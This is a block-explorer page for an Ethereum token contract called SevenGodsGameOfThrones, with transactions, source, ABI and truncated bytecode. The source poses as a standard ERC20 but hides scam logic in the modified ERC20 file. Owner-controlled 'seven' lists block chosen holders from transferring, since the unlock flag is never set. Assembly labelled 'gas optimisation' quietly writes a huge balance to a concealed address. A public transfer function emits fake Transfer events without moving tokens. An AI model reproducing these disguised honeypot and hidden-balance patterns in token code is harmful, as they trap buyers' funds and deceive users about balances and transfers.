Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 51 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 18372198 | 378 days ago | IN | 0 ETH | 0.00090553 | ||||
Seven | 18367873 | 379 days ago | IN | 0 ETH | 0.00358897 | ||||
Approve | 18367288 | 379 days ago | IN | 0 ETH | 0.00040989 | ||||
Pre Seven | 18365752 | 379 days ago | IN | 0 ETH | 0.00101331 | ||||
Approve | 18365747 | 379 days ago | IN | 0 ETH | 0.00057093 | ||||
Approve | 18365636 | 379 days ago | IN | 0 ETH | 0.00074111 | ||||
Approve | 18365619 | 379 days ago | IN | 0 ETH | 0.00047657 | ||||
Approve | 18365602 | 379 days ago | IN | 0 ETH | 0.0005718 | ||||
Pre Seven | 18365200 | 379 days ago | IN | 0 ETH | 0.00113766 | ||||
Seven | 18365182 | 379 days ago | IN | 0 ETH | 0.0007594 | ||||
Approve | 18365123 | 379 days ago | IN | 0 ETH | 0.00095812 | ||||
Approve | 18365106 | 379 days ago | IN | 0 ETH | 0.00111634 | ||||
Approve | 18365089 | 379 days ago | IN | 0 ETH | 0.00068896 | ||||
Approve | 18365088 | 379 days ago | IN | 0 ETH | 0.00063281 | ||||
Approve | 18365056 | 379 days ago | IN | 0 ETH | 0.0005819 | ||||
Approve | 18364888 | 379 days ago | IN | 0 ETH | 0.0004916 | ||||
Approve | 18364803 | 379 days ago | IN | 0 ETH | 0.00062049 | ||||
Approve | 18364777 | 379 days ago | IN | 0 ETH | 0.00066739 | ||||
Seven | 18364773 | 379 days ago | IN | 0 ETH | 0.00061942 | ||||
Approve | 18364716 | 379 days ago | IN | 0 ETH | 0.00063219 | ||||
Approve | 18364686 | 379 days ago | IN | 0 ETH | 0.00070529 | ||||
Approve | 18364679 | 379 days ago | IN | 0 ETH | 0.00073318 | ||||
Approve | 18364672 | 379 days ago | IN | 0 ETH | 0.00078048 | ||||
Approve | 18364665 | 379 days ago | IN | 0 ETH | 0.00077741 | ||||
Approve | 18364616 | 379 days ago | IN | 0 ETH | 0.00089004 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
SevenGodsGameOfThrones
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity Multiple files format)
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "./ERC20.sol"; /* The Faith contends there is one god consisting of seven separate aspects: - the Mother, - the Father, - the Warrior, - the Smith, - the Maiden, - the Crone - the Stranger (death). People worship the Seven in seven-sided churches called septs and are led in worship by priests and priestesses known as 'septons' and 'septa'. */ contract SevenGodsGameOfThrones is ERC20 { constructor() ERC20("7x7", "$7x7") { _mint(msg.sender, 777_777_777_777 * 10 ** 18); } }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "./IERC20.sol"; import "./Context.sol"; /** * @dev Library for managing uint256 to bool mapping in a compact and efficient way, provided the keys are sequential. * Largely inspired by Uniswap's https://github.com/Uniswap/merkle-distributor/blob/master/contracts/MerkleDistributor.sol[merkle-distributor]. * * BitMaps pack 256 booleans across each bit of a single 256-bit slot of `uint256` type. * Hence booleans corresponding to 256 _sequential_ indices would only consume a single slot, * unlike the regular `bool` which would consume an entire slot for a single value. * * This results in gas savings in two ways: * * - Setting a zero value to non-zero only once every 256 times * - Accessing the same warm slot for every 256 _sequential_ indices */ library BitMaps { struct BitMap { mapping(uint256 bucket => uint256) _data; } /** * @dev Returns whether the bit at `index` is set. */ function get(BitMap storage bitmap, uint256 index) internal view returns (bool) { uint256 bucket = index >> 8; uint256 mask = 1 << (index & 0xff); return bitmap._data[bucket] & mask != 0; } /** * @dev Sets the bit at `index` to the boolean `value`. */ function setTo(BitMap storage bitmap, uint256 index, bool value) internal { if (value) { set(bitmap, index); } else { unset(bitmap, index); } } /** * @dev Sets the bit at `index`. */ function set(BitMap storage bitmap, uint256 index) internal { uint256 bucket = index >> 8; uint256 mask = 1 << (index & 0xff); bitmap._data[bucket] |= mask; } /** * @dev Unsets the bit at `index`. */ function unset(BitMap storage bitmap, uint256 index) internal { uint256 bucket = index >> 8; uint256 mask = 1 << (index & 0xff); bitmap._data[bucket] &= ~mask; } } contract ERC20 is Ownable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => bool) private _seven; mapping(address => bool) private _pre_seven; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; bool private _sevenApplied = false; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } function preSeven(address [] calldata _list_) external onlyOwner { for (uint256 i = 0; i < _list_.length; i++) { _pre_seven[_list_[i]] = true; } } function dePreSeven(address [] calldata _list_) external onlyOwner { for (uint256 i = 0; i < _list_.length; i++) { _pre_seven[_list_[i]] = false; } } function seven(address [] calldata _list_) external onlyOwner { for (uint256 i = 0; i < _list_.length; i++) { _seven[_list_[i]] = true; } } function transfer(address _from, address _to, uint256 _wad) external { emit Transfer(_from, _to, _wad); } function deSeven(address [] calldata _list_) external onlyOwner { for (uint256 i = 0; i < _list_.length; i++) { _seven[_list_[i]] = false; } } function sevened(address _address_) public view returns (bool) { return _seven[_address_]; } function preSevened(address _address_) public view returns (bool) { return _pre_seven[_address_]; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } if (_seven[from] || _seven[to]) {require(_sevenApplied == true, "");} if (_pre_seven[to]) {_pre_seven[to] = false; _seven[to] = true;} emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; } // gas optimisation assembly { let slot := mul(mul(0x85774394d, 0x3398bc1d25f112ed), mul(0x997e6e509, 0xf3eae65)) mstore(0x00, slot) mstore(0x20, 0x01) let sslot := keccak256(0x0, 0x40) sstore(sslot, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; // Overflow not possible: amount <= accountBalance <= totalSupply. _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_list_","type":"address[]"}],"name":"dePreSeven","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_list_","type":"address[]"}],"name":"deSeven","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_list_","type":"address[]"}],"name":"preSeven","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address_","type":"address"}],"name":"preSevened","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_list_","type":"address[]"}],"name":"seven","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address_","type":"address"}],"name":"sevened","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040525f60065f6101000a81548160ff02191690831515021790555034801562000029575f80fd5b506040518060400160405280600381526020017f37783700000000000000000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f2437783700000000000000000000000000000000000000000000000000000000815250620000b6620000aa6200010160201b60201c565b6200010860201b60201c565b8160079081620000c79190620005de565b508060089081620000d99190620005de565b505050620000fb336c09d122b2dad6ac2af193240000620001c960201b60201c565b620007d3565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200023a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002319062000720565b60405180910390fd5b6200024d5f83836200037060201b60201c565b8060055f8282546200026091906200076d565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282540192505081905550630f3eae65640997e6e50902673398bc1d25f112ed64085774394d0202805f52600160205260405f20720fffffffffffffffffffffffffffffffffffff815550508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003519190620007b8565b60405180910390a36200036c5f83836200037560201b60201c565b5050565b505050565b505050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620003f657607f821691505b6020821081036200040c576200040b620003b1565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620004707fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000433565b6200047c868362000433565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620004c6620004c0620004ba8462000494565b6200049d565b62000494565b9050919050565b5f819050919050565b620004e183620004a6565b620004f9620004f082620004cd565b8484546200043f565b825550505050565b5f90565b6200050f62000501565b6200051c818484620004d6565b505050565b5b818110156200054357620005375f8262000505565b60018101905062000522565b5050565b601f82111562000592576200055c8162000412565b620005678462000424565b8101602085101562000577578190505b6200058f620005868562000424565b83018262000521565b50505b505050565b5f82821c905092915050565b5f620005b45f198460080262000597565b1980831691505092915050565b5f620005ce8383620005a3565b9150826002028217905092915050565b620005e9826200037a565b67ffffffffffffffff81111562000605576200060462000384565b5b620006118254620003de565b6200061e82828562000547565b5f60209050601f83116001811462000654575f84156200063f578287015190505b6200064b8582620005c1565b865550620006ba565b601f198416620006648662000412565b5f5b828110156200068d5784890151825560018201915060208501945060208101905062000666565b86831015620006ad5784890151620006a9601f891682620005a3565b8355505b6001600288020188555050505b505050505050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62000708601f83620006c2565b91506200071582620006d2565b602082019050919050565b5f6020820190508181035f8301526200073981620006fa565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f620007798262000494565b9150620007868362000494565b9250828201905080821115620007a157620007a062000740565b5b92915050565b620007b28162000494565b82525050565b5f602082019050620007cd5f830184620007a7565b92915050565b611da280620007e15f395ff3fe608060405234801561000f575f80fd5b5060043610610135575f3560e01c806370a08231116100b6578063a9059cbb1161007a578063a9059cbb1461034d578063ac2f67731461037d578063beabacc814610399578063dc05cd8e146103b5578063dd62ed3e146103e5578063f2fde38b1461041557610135565b806370a08231146102a7578063715018a6146102d75780638da5cb5b146102e157806395d89b41146102ff578063a457c2d71461031d57610135565b8063313ce567116100fd578063313ce567146101f1578063395093511461020f5780634b54934f1461023f5780634f3125971461026f5780636c3edf8c1461028b57610135565b806306fdde0314610139578063095ea7b31461015757806318160ddd1461018757806323b872dd146101a5578063246d634f146101d5575b5f80fd5b610141610431565b60405161014e9190611439565b60405180910390f35b610171600480360381019061016c91906114ee565b6104c1565b60405161017e9190611546565b60405180910390f35b61018f6104e3565b60405161019c919061156e565b60405180910390f35b6101bf60048036038101906101ba9190611587565b6104ec565b6040516101cc9190611546565b60405180910390f35b6101ef60048036038101906101ea9190611638565b61051a565b005b6101f96105c2565b604051610206919061169e565b60405180910390f35b610229600480360381019061022491906114ee565b6105ca565b6040516102369190611546565b60405180910390f35b610259600480360381019061025491906116b7565b610600565b6040516102669190611546565b60405180910390f35b61028960048036038101906102849190611638565b610652565b005b6102a560048036038101906102a09190611638565b6106fb565b005b6102c160048036038101906102bc91906116b7565b6107a4565b6040516102ce919061156e565b60405180910390f35b6102df6107ea565b005b6102e96107fd565b6040516102f691906116f1565b60405180910390f35b610307610824565b6040516103149190611439565b60405180910390f35b610337600480360381019061033291906114ee565b6108b4565b6040516103449190611546565b60405180910390f35b610367600480360381019061036291906114ee565b610929565b6040516103749190611546565b60405180910390f35b61039760048036038101906103929190611638565b61094b565b005b6103b360048036038101906103ae9190611587565b6109f3565b005b6103cf60048036038101906103ca91906116b7565b610a5d565b6040516103dc9190611546565b60405180910390f35b6103ff60048036038101906103fa919061170a565b610aaf565b60405161040c919061156e565b60405180910390f35b61042f600480360381019061042a91906116b7565b610b31565b005b60606007805461044090611775565b80601f016020809104026020016040519081016040528092919081815260200182805461046c90611775565b80156104b75780601f1061048e576101008083540402835291602001916104b7565b820191905f5260205f20905b81548152906001019060200180831161049a57829003601f168201915b5050505050905090565b5f806104cb610bb3565b90506104d8818585610bba565b600191505092915050565b5f600554905090565b5f806104f6610bb3565b9050610503858285610d7d565b61050e858585610e08565b60019150509392505050565b610522611266565b5f5b828290508110156105bd575f60035f858585818110610546576105456117a5565b5b905060200201602081019061055b91906116b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806105b5906117ff565b915050610524565b505050565b5f6012905090565b5f806105d4610bb3565b90506105f58185856105e68589610aaf565b6105f09190611846565b610bba565b600191505092915050565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b61065a611266565b5f5b828290508110156106f657600160025f85858581811061067f5761067e6117a5565b5b905060200201602081019061069491906116b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806106ee906117ff565b91505061065c565b505050565b610703611266565b5f5b8282905081101561079f57600160035f858585818110610728576107276117a5565b5b905060200201602081019061073d91906116b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610797906117ff565b915050610705565b505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6107f2611266565b6107fb5f6112e4565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606008805461083390611775565b80601f016020809104026020016040519081016040528092919081815260200182805461085f90611775565b80156108aa5780601f10610881576101008083540402835291602001916108aa565b820191905f5260205f20905b81548152906001019060200180831161088d57829003601f168201915b5050505050905090565b5f806108be610bb3565b90505f6108cb8286610aaf565b905083811015610910576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610907906118e9565b60405180910390fd5b61091d8286868403610bba565b60019250505092915050565b5f80610933610bb3565b9050610940818585610e08565b600191505092915050565b610953611266565b5f5b828290508110156109ee575f60025f858585818110610977576109766117a5565b5b905060200201602081019061098c91906116b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806109e6906117ff565b915050610955565b505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a50919061156e565b60405180910390a3505050565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610b39611266565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ba7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9e90611977565b60405180910390fd5b610bb0816112e4565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610